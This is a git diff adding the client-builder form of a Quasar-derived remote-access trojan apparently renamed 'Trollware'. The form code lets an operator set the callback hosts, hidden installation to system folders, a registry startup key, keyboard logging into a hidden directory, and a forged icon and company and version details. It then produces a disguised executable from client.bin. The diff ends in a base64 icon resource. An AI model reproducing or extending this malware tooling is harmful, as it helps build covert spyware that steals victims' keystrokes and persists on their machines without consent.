+ this.lblProductName.TabIndex = 1; + this.lblProductName.Text = "Product Name:"; + // + // label12 + // + this.label12.AutoSize = true; + this.label12.Location = new System.Drawing.Point(6, 276); + this.label12.Name = "label12"; + this.label12.Size = new System.Drawing.Size(79, 13); + this.label12.TabIndex = 0; + this.label12.Text = "Assembly Icon"; + // + // chkChangeIcon + // + this.chkChangeIcon.AutoSize = true; + this.chkChangeIcon.Location = new System.Drawing.Point(20, 294); + this.chkChangeIcon.Name = "chkChangeIcon"; + this.chkChangeIcon.Size = new System.Drawing.Size(141, 17); + this.chkChangeIcon.TabIndex = 2; + this.chkChangeIcon.Text = "Change Assembly Icon"; + this.chkChangeIcon.UseVisualStyleBackColor = true; + this.chkChangeIcon.CheckedChanged += new System.EventHandler(this.chkChangeIcon_CheckedChanged); + // + // lblFileVersion + // + this.lblFileVersion.AutoSize = true; + this.lblFileVersion.Location = new System.Drawing.Point(17, 243); + this.lblFileVersion.Name = "lblFileVersion"; + this.lblFileVersion.Size = new System.Drawing.Size(69, 13); + this.lblFileVersion.TabIndex = 15; + this.lblFileVersion.Text = "File Version:"; + // + // txtProductName + // + this.txtProductName.Location = new System.Drawing.Point(182, 44); + this.txtProductName.Name = "txtProductName"; + this.txtProductName.Size = new System.Drawing.Size(201, 22); + this.txtProductName.TabIndex = 2; + this.txtProductName.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // txtProductVersion + // + this.txtProductVersion.Location = new System.Drawing.Point(182, 212); + this.txtProductVersion.Name = "txtProductVersion"; + this.txtProductVersion.Size = new System.Drawing.Size(201, 22); + this.txtProductVersion.TabIndex = 14; + this.txtProductVersion.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // lblDescription + // + this.lblDescription.AutoSize = true; + this.lblDescription.Location = new System.Drawing.Point(17, 75); + this.lblDescription.Name = "lblDescription"; + this.lblDescription.Size = new System.Drawing.Size(69, 13); + this.lblDescription.TabIndex = 3; + this.lblDescription.Text = "Description:"; + // + // lblProductVersion + // + this.lblProductVersion.AutoSize = true; + this.lblProductVersion.Location = new System.Drawing.Point(17, 215); + this.lblProductVersion.Name = "lblProductVersion"; + this.lblProductVersion.Size = new System.Drawing.Size(91, 13); + this.lblProductVersion.TabIndex = 13; + this.lblProductVersion.Text = "Product Version:"; + // + // txtDescription + // + this.txtDescription.Location = new System.Drawing.Point(182, 72); + this.txtDescription.Name = "txtDescription"; + this.txtDescription.Size = new System.Drawing.Size(201, 22); + this.txtDescription.TabIndex = 4; + this.txtDescription.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // txtOriginalFilename + // + this.txtOriginalFilename.Location = new System.Drawing.Point(182, 184); + this.txtOriginalFilename.Name = "txtOriginalFilename"; + this.txtOriginalFilename.Size = new System.Drawing.Size(201, 22); + this.txtOriginalFilename.TabIndex = 12; + this.txtOriginalFilename.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // lblCompanyName + // + this.lblCompanyName.AutoSize = true; + this.lblCompanyName.Location = new System.Drawing.Point(17, 103); + this.lblCompanyName.Name = "lblCompanyName"; + this.lblCompanyName.Size = new System.Drawing.Size(90, 13); + this.lblCompanyName.TabIndex = 5; + this.lblCompanyName.Text = "Company Name:"; + // + // lblOriginalFilename + // + this.lblOriginalFilename.AutoSize = true; + this.lblOriginalFilename.Location = new System.Drawing.Point(17, 187); + this.lblOriginalFilename.Name = "lblOriginalFilename"; + this.lblOriginalFilename.Size = new System.Drawing.Size(101, 13); + this.lblOriginalFilename.TabIndex = 11; + this.lblOriginalFilename.Text = "Original Filename:"; + // + // txtCompanyName + // + this.txtCompanyName.Location = new System.Drawing.Point(182, 100); + this.txtCompanyName.Name = "txtCompanyName"; + this.txtCompanyName.Size = new System.Drawing.Size(201, 22); + this.txtCompanyName.TabIndex = 6; + this.txtCompanyName.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // txtTrademarks + // + this.txtTrademarks.Location = new System.Drawing.Point(182, 156); + this.txtTrademarks.Name = "txtTrademarks"; + this.txtTrademarks.Size = new System.Drawing.Size(201, 22); + this.txtTrademarks.TabIndex = 10; + this.txtTrademarks.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // lblCopyright + // + this.lblCopyright.AutoSize = true; + this.lblCopyright.Location = new System.Drawing.Point(17, 131); + this.lblCopyright.Name = "lblCopyright"; + this.lblCopyright.Size = new System.Drawing.Size(61, 13); + this.lblCopyright.TabIndex = 7; + this.lblCopyright.Text = "Copyright:"; + // + // lblTrademarks + // + this.lblTrademarks.AutoSize = true; + this.lblTrademarks.Location = new System.Drawing.Point(17, 159); + this.lblTrademarks.Name = "lblTrademarks"; + this.lblTrademarks.Size = new System.Drawing.Size(68, 13); + this.lblTrademarks.TabIndex = 9; + this.lblTrademarks.Text = "Trademarks:"; + // + // txtCopyright + // + this.txtCopyright.Location = new System.Drawing.Point(182, 128); + this.txtCopyright.Name = "txtCopyright"; + this.txtCopyright.Size = new System.Drawing.Size(201, 22); + this.txtCopyright.TabIndex = 8; + this.txtCopyright.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // monitoringTab + // + this.monitoringTab.BackColor = System.Drawing.SystemColors.Control; + this.monitoringTab.Controls.Add(this.chkHideLogDirectory); + this.monitoringTab.Controls.Add(this.txtLogDirectoryName); + this.monitoringTab.Controls.Add(this.lblLogDirectory); + this.monitoringTab.Controls.Add(this.line10); + this.monitoringTab.Controls.Add(this.label14); + this.monitoringTab.Controls.Add(this.chkKeylogger); + this.monitoringTab.Location = new System.Drawing.Point(140, 4); + this.monitoringTab.Name = "monitoringTab"; + this.monitoringTab.Size = new System.Drawing.Size(391, 376); + this.monitoringTab.TabIndex = 3; + this.monitoringTab.Text = "Monitoring Settings"; + // + // chkHideLogDirectory + // + this.chkHideLogDirectory.AutoSize = true; + this.chkHideLogDirectory.Location = new System.Drawing.Point(20, 72); + this.chkHideLogDirectory.Name = "chkHideLogDirectory"; + this.chkHideLogDirectory.Size = new System.Drawing.Size(197, 17); + this.chkHideLogDirectory.TabIndex = 7; + this.chkHideLogDirectory.Text = "Set directory attributes to hidden"; + this.chkHideLogDirectory.UseVisualStyleBackColor = true; + this.chkHideLogDirectory.CheckedChanged += new System.EventHandler(this.HasChangedSetting); + // + // txtLogDirectoryName + // + this.txtLogDirectoryName.Location = new System.Drawing.Point(262, 44); + this.txtLogDirectoryName.Name = "txtLogDirectoryName"; + this.txtLogDirectoryName.Size = new System.Drawing.Size(118, 22); + this.txtLogDirectoryName.TabIndex = 6; + this.txtLogDirectoryName.TextChanged += new System.EventHandler(this.HasChangedSetting); + this.txtLogDirectoryName.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtLogDirectoryName_KeyPress); + // + // lblLogDirectory + // + this.lblLogDirectory.AutoSize = true; + this.lblLogDirectory.Location = new System.Drawing.Point(17, 47); + this.lblLogDirectory.Name = "lblLogDirectory"; + this.lblLogDirectory.Size = new System.Drawing.Size(110, 13); + this.lblLogDirectory.TabIndex = 5; + this.lblLogDirectory.Text = "Log Directory Name:"; + // + // line10 + // + this.line10.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; + this.line10.Location = new System.Drawing.Point(78, 5); + this.line10.Name = "line10"; + this.line10.Size = new System.Drawing.Size(302, 13); + this.line10.TabIndex = 41; + this.line10.TabStop = false; + // + // label14 + // + this.label14.AutoSize = true; + this.label14.Location = new System.Drawing.Point(6, 5); + this.label14.Name = "label14"; + this.label14.Size = new System.Drawing.Size(66, 13); + this.label14.TabIndex = 3; + this.label14.Text = "Monitoring"; + // + // chkKeylogger + // + this.chkKeylogger.AutoSize = true; + this.chkKeylogger.Location = new System.Drawing.Point(20, 21); + this.chkKeylogger.Name = "chkKeylogger"; + this.chkKeylogger.Size = new System.Drawing.Size(156, 17); + this.chkKeylogger.TabIndex = 4; + this.chkKeylogger.Text = "Enable keyboard logging"; + this.chkKeylogger.UseVisualStyleBackColor = true; + this.chkKeylogger.CheckedChanged += new System.EventHandler(this.chkKeylogger_CheckedChanged); + // + // FrmBuilder + // + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.BackColor = System.Drawing.SystemColors.Control; + this.ClientSize = new System.Drawing.Size(535, 424); + this.Controls.Add(this.builderTabs); + this.Controls.Add(this.btnBuild); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmBuilder"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Client Builder"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmBuilder_FormClosing); + this.Load += new System.EventHandler(this.FrmBuilder_Load); + ((System.ComponentModel.ISupportInitialize)(this.picUAC2)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.picUAC1)).EndInit(); + this.contextMenuStrip.ResumeLayout(false); + this.builderTabs.ResumeLayout(false); + this.generalPage.ResumeLayout(false); + this.generalPage.PerformLayout(); + this.connectionPage.ResumeLayout(false); + this.connectionPage.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDownPort)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDownDelay)).EndInit(); + this.installationPage.ResumeLayout(false); + this.installationPage.PerformLayout(); + this.assemblyPage.ResumeLayout(false); + this.assemblyPage.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.iconPreview)).EndInit(); + this.monitoringTab.ResumeLayout(false); + this.monitoringTab.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + private System.Windows.Forms.Label lblPort; + private System.Windows.Forms.TextBox txtHost; + private System.Windows.Forms.Label lblHost; + private System.Windows.Forms.Label lblDelay; + private System.Windows.Forms.CheckBox chkInstall; + private System.Windows.Forms.TextBox txtInstallName; + private System.Windows.Forms.Label lblInstallName; + private System.Windows.Forms.TextBox txtMutex; + private System.Windows.Forms.Label lblMutex; + private System.Windows.Forms.Label lblExtension; + private System.Windows.Forms.Label lblInstallDirectory; + private System.Windows.Forms.RadioButton rbAppdata; + private System.Windows.Forms.TextBox txtInstallSubDirectory; + private System.Windows.Forms.Label lblInstallSubDirectory; + private System.Windows.Forms.Label lblPreviewPath; + private System.Windows.Forms.TextBox txtPreviewPath; + private System.Windows.Forms.Button btnMutex; + private System.Windows.Forms.CheckBox chkHide; + private System.Windows.Forms.TextBox txtRegistryKeyName; + private System.Windows.Forms.Label lblRegistryKeyName; + private System.Windows.Forms.CheckBox chkStartup; + private System.Windows.Forms.Button btnBuild; + private System.Windows.Forms.Label lblMS; + private System.Windows.Forms.RadioButton rbSystem; + private System.Windows.Forms.RadioButton rbProgramFiles; + private System.Windows.Forms.PictureBox picUAC1; + private System.Windows.Forms.PictureBox picUAC2; + private System.Windows.Forms.ToolTip tooltip; + private System.Windows.Forms.CheckBox chkChangeIcon; + private System.Windows.Forms.TextBox txtDescription; + private System.Windows.Forms.Label lblDescription; + private System.Windows.Forms.TextBox txtProductName; + private System.Windows.Forms.Label lblProductName; + private System.Windows.Forms.TextBox txtOriginalFilename; + private System.Windows.Forms.Label lblOriginalFilename; + private System.Windows.Forms.TextBox txtTrademarks; + private System.Windows.Forms.Label lblTrademarks; + private System.Windows.Forms.TextBox txtCopyright; + private System.Windows.Forms.Label lblCopyright; + private System.Windows.Forms.TextBox txtCompanyName; + private System.Windows.Forms.Label lblCompanyName; + private System.Windows.Forms.TextBox txtFileVersion; + private System.Windows.Forms.Label lblFileVersion; + private System.Windows.Forms.TextBox txtProductVersion; + private System.Windows.Forms.Label lblProductVersion; + private System.Windows.Forms.CheckBox chkChangeAsmInfo; + private System.Windows.Forms.CheckBox chkKeylogger; + private Controls.DotNetBarTabControl builderTabs; + private System.Windows.Forms.TabPage connectionPage; + private System.Windows.Forms.TabPage installationPage; + private System.Windows.Forms.TabPage assemblyPage; + private System.Windows.Forms.TabPage monitoringTab; + private System.Windows.Forms.ListBox lstHosts; + private System.Windows.Forms.ContextMenuStrip contextMenuStrip; + private System.Windows.Forms.Button btnAddHost; + private System.Windows.Forms.ToolStripMenuItem removeHostToolStripMenuItem; + private Controls.Line line1; + private System.Windows.Forms.Label label1; + private Controls.Line line3; + private System.Windows.Forms.Label label4; + private Controls.Line line4; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.TabPage generalPage; + private System.Windows.Forms.TextBox txtTag; + private System.Windows.Forms.Label label7; + private System.Windows.Forms.Label lblTag; + private Controls.Line line5; + private System.Windows.Forms.Label label6; + private Controls.Line line6; + private System.Windows.Forms.Label label8; + private System.Windows.Forms.Label label9; + private Controls.Line line7; + private System.Windows.Forms.Label label10; + private Controls.Line line8; + private System.Windows.Forms.Label label11; + private Controls.Line line9; + private System.Windows.Forms.Label label12; + private Controls.Line line10; + private System.Windows.Forms.Label label14; + private System.Windows.Forms.ToolStripMenuItem clearToolStripMenuItem; + private System.Windows.Forms.Button btnBrowseIcon; + private System.Windows.Forms.TextBox txtIconPath; + private System.Windows.Forms.PictureBox iconPreview; + private System.Windows.Forms.Label lblLogDirectory; + private System.Windows.Forms.TextBox txtLogDirectoryName; + private System.Windows.Forms.CheckBox chkHideLogDirectory; + private System.Windows.Forms.NumericUpDown numericUpDownDelay; + private System.Windows.Forms.NumericUpDown numericUpDownPort; + private System.Windows.Forms.CheckBox chkHideSubDirectory; + } +} diff --git a/Quasar.Server/Forms/FrmBuilder.cs b/Quasar.Server/Forms/FrmBuilder.cs new file mode 100644 index 0000000..dad37d5 --- /dev/null +++ b/Quasar.Server/Forms/FrmBuilder.cs @@ -0,0 +1,530 @@ +using Quasar.Common.DNS; +using Quasar.Common.Helpers; +using Quasar.Server.Build; +using Quasar.Server.Models; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Text.RegularExpressions; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmBuilder : Form + { + private bool _profileLoaded; + private bool _changed; + private readonly BindingList _hosts = new BindingList(); + private readonly HostsConverter _hostsConverter = new HostsConverter(); + + public FrmBuilder() + { + InitializeComponent(); + } + + private void LoadProfile(string profileName) + { + var profile = new BuilderProfile(profileName); + + _hosts.Clear(); + foreach (var host in _hostsConverter.RawHostsToList(profile.Hosts)) + _hosts.Add(host); + + txtTag.Text = profile.Tag; + numericUpDownDelay.Value = profile.Delay; + txtMutex.Text = profile.Mutex; + chkInstall.Checked = profile.InstallClient; + txtInstallName.Text = profile.InstallName; + GetInstallPath(profile.InstallPath).Checked = true; + txtInstallSubDirectory.Text = profile.InstallSub; + chkHide.Checked = profile.HideFile; + chkHideSubDirectory.Checked = profile.HideSubDirectory; + chkStartup.Checked = profile.AddStartup; + txtRegistryKeyName.Text = profile.RegistryName; + chkChangeIcon.Checked = profile.ChangeIcon; + txtIconPath.Text = profile.IconPath; + chkChangeAsmInfo.Checked = profile.ChangeAsmInfo; + chkKeylogger.Checked = profile.Keylogger; + txtLogDirectoryName.Text = profile.LogDirectoryName; + chkHideLogDirectory.Checked = profile.HideLogDirectory; + txtProductName.Text = profile.ProductName; + txtDescription.Text = profile.Description; + txtCompanyName.Text = profile.CompanyName; + txtCopyright.Text = profile.Copyright; + txtTrademarks.Text = profile.Trademarks; + txtOriginalFilename.Text = profile.OriginalFilename; + txtProductVersion.Text = profile.ProductVersion; + txtFileVersion.Text = profile.FileVersion; + + _profileLoaded = true; + } + + private void SaveProfile(string profileName) + { + var profile = new BuilderProfile(profileName); + + profile.Tag = txtTag.Text; + profile.Hosts = _hostsConverter.ListToRawHosts(_hosts); + profile.Delay = (int) numericUpDownDelay.Value; + profile.Mutex = txtMutex.Text; + profile.UnattendedMode = true; + profile.InstallClient = chkInstall.Checked; + profile.InstallName = txtInstallName.Text; + profile.InstallPath = GetInstallPath(); + profile.InstallSub = txtInstallSubDirectory.Text; + profile.HideFile = chkHide.Checked; + profile.HideSubDirectory = chkHideSubDirectory.Checked; + profile.AddStartup = chkStartup.Checked; + profile.RegistryName = txtRegistryKeyName.Text; + profile.ChangeIcon = chkChangeIcon.Checked; + profile.IconPath = txtIconPath.Text; + profile.ChangeAsmInfo = chkChangeAsmInfo.Checked; + profile.Keylogger = chkKeylogger.Checked; + profile.LogDirectoryName = txtLogDirectoryName.Text; + profile.HideLogDirectory = chkHideLogDirectory.Checked; + profile.ProductName = txtProductName.Text; + profile.Description = txtDescription.Text; + profile.CompanyName = txtCompanyName.Text; + profile.Copyright = txtCopyright.Text; + profile.Trademarks = txtTrademarks.Text; + profile.OriginalFilename = txtOriginalFilename.Text; + profile.ProductVersion = txtProductVersion.Text; + profile.FileVersion = txtFileVersion.Text; + } + + private void FrmBuilder_Load(object sender, EventArgs e) + { + lstHosts.DataSource = new BindingSource(_hosts, null); + LoadProfile("Default"); + + numericUpDownPort.Value = Settings.ListenPort; + + UpdateInstallationControlStates(); + UpdateStartupControlStates(); + UpdateAssemblyControlStates(); + UpdateIconControlStates(); + UpdateKeyloggerControlStates(); + } + + private void FrmBuilder_FormClosing(object sender, FormClosingEventArgs e) + { + if (_changed && + MessageBox.Show(this, "Do you want to save your current settings?", "Changes detected", + MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes) + { + SaveProfile("Default"); + } + } + + private void btnAddHost_Click(object sender, EventArgs e) + { + if (txtHost.Text.Length < 1) return; + + HasChanged(); + + var host = txtHost.Text; + ushort port = (ushort) numericUpDownPort.Value; + + _hosts.Add(new Host {Hostname = host, Port = port}); + txtHost.Text = ""; + } + + #region "Context Menu" + private void removeHostToolStripMenuItem_Click(object sender, EventArgs e) + { + HasChanged(); + + List selectedHosts = (from object arr in lstHosts.SelectedItems select arr.ToString()).ToList(); + + foreach (var item in selectedHosts) + { + foreach (var host in _hosts) + { + if (item == host.ToString()) + { + _hosts.Remove(host); + break; + } + } + } + } + + private void clearToolStripMenuItem_Click(object sender, EventArgs e) + { + HasChanged(); + + _hosts.Clear(); + } + #endregion + + #region "Misc" + private void txtInstallname_KeyPress(object sender, KeyPressEventArgs e) + { + e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) && + !char.IsControl(e.KeyChar)); + } + + private void txtInstallsub_KeyPress(object sender, KeyPressEventArgs e) + { + e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) && + !char.IsControl(e.KeyChar)); + } + + private void txtLogDirectoryName_KeyPress(object sender, KeyPressEventArgs e) + { + e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) && + !char.IsControl(e.KeyChar)); + } + + private void btnMutex_Click(object sender, EventArgs e) + { + HasChanged(); + + txtMutex.Text = Guid.NewGuid().ToString(); + } + + private void chkInstall_CheckedChanged(object sender, EventArgs e) + { + HasChanged(); + + UpdateInstallationControlStates(); + } + + private void chkStartup_CheckedChanged(object sender, EventArgs e) + { + HasChanged(); + + UpdateStartupControlStates(); + } + + private void chkChangeAsmInfo_CheckedChanged(object sender, EventArgs e) + { + HasChanged(); + + UpdateAssemblyControlStates(); + } + + private void chkKeylogger_CheckedChanged(object sender, EventArgs e) + { + HasChanged(); + + UpdateKeyloggerControlStates(); + } + + private void btnBrowseIcon_Click(object sender, EventArgs e) + { + using (OpenFileDialog ofd = new OpenFileDialog()) + { + ofd.Title = "Choose Icon"; + ofd.Filter = "Icons *.ico|*.ico"; + ofd.Multiselect = false; + if (ofd.ShowDialog() == DialogResult.OK) + { + txtIconPath.Text = ofd.FileName; + iconPreview.Image = Bitmap.FromHicon(new Icon(ofd.FileName, new Size(64, 64)).Handle); + } + } + } + + private void chkChangeIcon_CheckedChanged(object sender, EventArgs e) + { + HasChanged(); + + UpdateIconControlStates(); + } + #endregion + + private bool CheckForEmptyInput() + { + return (!string.IsNullOrWhiteSpace(txtTag.Text) && !string.IsNullOrWhiteSpace(txtMutex.Text) && // General Settings + _hosts.Count > 0 && // Connection + (!chkInstall.Checked || (chkInstall.Checked && !string.IsNullOrWhiteSpace(txtInstallName.Text))) && // Installation + (!chkStartup.Checked || (chkStartup.Checked && !string.IsNullOrWhiteSpace(txtRegistryKeyName.Text)))); // Installation + } + + private BuildOptions GetBuildOptions() + { + BuildOptions options = new BuildOptions(); + if (!CheckForEmptyInput()) + { + throw new Exception("Please fill out all required fields!"); + } + + options.Tag = txtTag.Text; + options.Mutex = txtMutex.Text; + options.UnattendedMode = true; + options.RawHosts = _hostsConverter.ListToRawHosts(_hosts); + options.Delay = (int) numericUpDownDelay.Value; + options.IconPath = txtIconPath.Text; + options.Version = Application.ProductVersion; + options.InstallPath = GetInstallPath(); + options.InstallSub = txtInstallSubDirectory.Text; + options.InstallName = txtInstallName.Text + ".exe"; + options.StartupName = txtRegistryKeyName.Text; + options.Install = chkInstall.Checked; + options.Startup = chkStartup.Checked; + options.HideFile = chkHide.Checked; + options.HideInstallSubdirectory = chkHideSubDirectory.Checked; + options.Keylogger = chkKeylogger.Checked; + options.LogDirectoryName = txtLogDirectoryName.Text; + options.HideLogDirectory = chkHideLogDirectory.Checked; + + if (!File.Exists("client.bin")) + { + throw new Exception("Could not locate \"client.bin\" file. It should be in the same directory as Trollware."); + } + + if (options.RawHosts.Length < 2) + { + throw new Exception("Please enter a valid host to connect to."); + } + + if (chkChangeIcon.Checked) + { + if (string.IsNullOrWhiteSpace(options.IconPath) || !File.Exists(options.IconPath)) + { + throw new Exception("Please choose a valid icon path."); + } + } + else + options.IconPath = string.Empty; + + if (chkChangeAsmInfo.Checked) + { + if (!IsValidVersionNumber(txtProductVersion.Text)) + { + throw new Exception("Please enter a valid product version number!\nExample: 1.2.3.4"); + } + + if (!IsValidVersionNumber(txtFileVersion.Text)) + { + throw new Exception("Please enter a valid file version number!\nExample: 1.2.3.4"); + } + + options.AssemblyInformation = new string[8]; + options.AssemblyInformation[0] = txtProductName.Text; + options.AssemblyInformation[1] = txtDescription.Text; + options.AssemblyInformation[2] = txtCompanyName.Text; + options.AssemblyInformation[3] = txtCopyright.Text; + options.AssemblyInformation[4] = txtTrademarks.Text; + options.AssemblyInformation[5] = txtOriginalFilename.Text; + options.AssemblyInformation[6] = txtProductVersion.Text; + options.AssemblyInformation[7] = txtFileVersion.Text; + } + + using (SaveFileDialog sfd = new SaveFileDialog()) + { + sfd.Title = "Save Client as"; + sfd.Filter = "Executables *.exe|*.exe"; + sfd.RestoreDirectory = true; + sfd.FileName = "Trollware-Built.exe"; + if (sfd.ShowDialog() != DialogResult.OK) + { + throw new Exception("Please choose a valid output path."); + } + options.OutputPath = sfd.FileName; + } + + if (string.IsNullOrEmpty(options.OutputPath)) + { + throw new Exception("Please choose a valid output path."); + } + + return options; + } + + private void btnBuild_Click(object sender, EventArgs e) + { + BuildOptions options; + try + { + options = GetBuildOptions(); + } + catch (Exception ex) + { + MessageBox.Show(this, ex.Message, "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Error); + return; + } + + SetBuildState(false); + + Thread t = new Thread(BuildClient); + t.Start(options); + } + + private void SetBuildState(bool state) + { + try + { + this.Invoke((MethodInvoker)delegate + { + btnBuild.Text = (state) ? "Build" : "Building..."; + btnBuild.Enabled = state; + }); + } + catch (InvalidOperationException) + { + } + } + + private void BuildClient(object o) + { + try + { + BuildOptions options = (BuildOptions) o; + + var builder = new ClientBuilder(options, "client.bin"); + + builder.Build(); + + try + { + this.Invoke((MethodInvoker) delegate + { + MessageBox.Show(this, + $"Successfully built client! Saved to:\\{options.OutputPath}", + "Build Success", MessageBoxButtons.OK, MessageBoxIcon.Information); + }); + } + catch (Exception) + { + } + } + catch (Exception ex) + { + try + { + this.Invoke((MethodInvoker)delegate + { + MessageBox.Show(this, + $"An error occurred!\n\nError Message: {ex.Message}\nStack Trace:\n{ex.StackTrace}", "Build failed", + MessageBoxButtons.OK, MessageBoxIcon.Error); + }); + } + catch (Exception) + { + } + } + SetBuildState(true); + } + + private void RefreshPreviewPath() + { + string path = string.Empty; + if (rbAppdata.Checked) + path = + Path.Combine( + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), + txtInstallSubDirectory.Text), txtInstallName.Text); + else if (rbProgramFiles.Checked) + path = + Path.Combine( + Path.Combine( + Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), txtInstallSubDirectory.Text), txtInstallName.Text); + else if (rbSystem.Checked) + path = + Path.Combine( + Path.Combine( + Environment.GetFolderPath(Environment.SpecialFolder.System), txtInstallSubDirectory.Text), txtInstallName.Text); + + this.Invoke((MethodInvoker)delegate { txtPreviewPath.Text = path + ".exe"; }); + } + + private bool IsValidVersionNumber(string input) + { + Match match = Regex.Match(input, @"^[0-9]+\.[0-9]+\.(\*|[0-9]+)\.(\*|[0-9]+)$", RegexOptions.IgnoreCase); + return match.Success; + } + + private short GetInstallPath() + { + if (rbAppdata.Checked) return 1; + if (rbProgramFiles.Checked) return 2; + if (rbSystem.Checked) return 3; + throw new ArgumentException("InstallPath"); + } + + private RadioButton GetInstallPath(short installPath) + { + switch (installPath) + { + case 1: + return rbAppdata; + case 2: + return rbProgramFiles; + case 3: + return rbSystem; + default: + throw new ArgumentException("InstallPath"); + } + } + + private void UpdateAssemblyControlStates() + { + txtProductName.Enabled = chkChangeAsmInfo.Checked; + txtDescription.Enabled = chkChangeAsmInfo.Checked; + txtCompanyName.Enabled = chkChangeAsmInfo.Checked; + txtCopyright.Enabled = chkChangeAsmInfo.Checked; + txtTrademarks.Enabled = chkChangeAsmInfo.Checked; + txtOriginalFilename.Enabled = chkChangeAsmInfo.Checked; + txtFileVersion.Enabled = chkChangeAsmInfo.Checked; + txtProductVersion.Enabled = chkChangeAsmInfo.Checked; + } + + private void UpdateIconControlStates() + { + txtIconPath.Enabled = chkChangeIcon.Checked; + btnBrowseIcon.Enabled = chkChangeIcon.Checked; + } + + private void UpdateStartupControlStates() + { + txtRegistryKeyName.Enabled = chkStartup.Checked; + } + + private void UpdateInstallationControlStates() + { + txtInstallName.Enabled = chkInstall.Checked; + rbAppdata.Enabled = chkInstall.Checked; + rbProgramFiles.Enabled = chkInstall.Checked; + rbSystem.Enabled = chkInstall.Checked; + txtInstallSubDirectory.Enabled = chkInstall.Checked; + chkHide.Enabled = chkInstall.Checked; + chkHideSubDirectory.Enabled = chkInstall.Checked; + } + + private void UpdateKeyloggerControlStates() + { + txtLogDirectoryName.Enabled = chkKeylogger.Checked; + chkHideLogDirectory.Enabled = chkKeylogger.Checked; + } + + private void HasChanged() + { + if (!_changed && _profileLoaded) + _changed = true; + } + + /// + /// Handles a basic change in setting. + /// + private void HasChangedSetting(object sender, EventArgs e) + { + HasChanged(); + } + + /// + /// Handles a basic change in setting, also refreshing the example file path. + /// + private void HasChangedSettingAndFilePath(object sender, EventArgs e) + { + HasChanged(); + + RefreshPreviewPath(); + } + } +} \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmBuilder.resx b/Quasar.Server/Forms/FrmBuilder.resx new file mode 100644 index 0000000..998c898 --- /dev/null +++ b/Quasar.Server/Forms/FrmBuilder.resx @@ -0,0 +1,203 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + 105, 17 + + + + + AAABAAEAICAAAAEAIACoEAAAFgAAACgAAAAgAAAAQAAAAAEAIAAAAAAAABAAABMLAAATCwAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8BAP//AQD/ + /wEAf/8CAH//AgD//wEA//8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//8BP7//BH// + /wIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB///8CP7//BAAA/wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAf/8CVar/AwAA + AAAAAAAAAAAAAG3a/gdOxPUaSLz4Kki2+CpHt/QZVdT/BgAAAAAAAAAAAAAAAFWq/wMAf38CAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//AgB/ + /wIAAAAATLLyFD64+WI8vPqoPLv52zm6+PU3uvn5Nrj4+Tez9fQ4r/TYN6rxpTmk7l1Pn+8QAAAAAAB/ + /wIAVaoDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWq + /wMAAAAASLb+Djux9H04tPfoOMH//y/B//4itf//Hq/8/yGt+P8hqvj/HKf4/x+p+v8sr//+M6n5/zKa + 6eQ0lud1RYvQCwAAAABVqqoDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 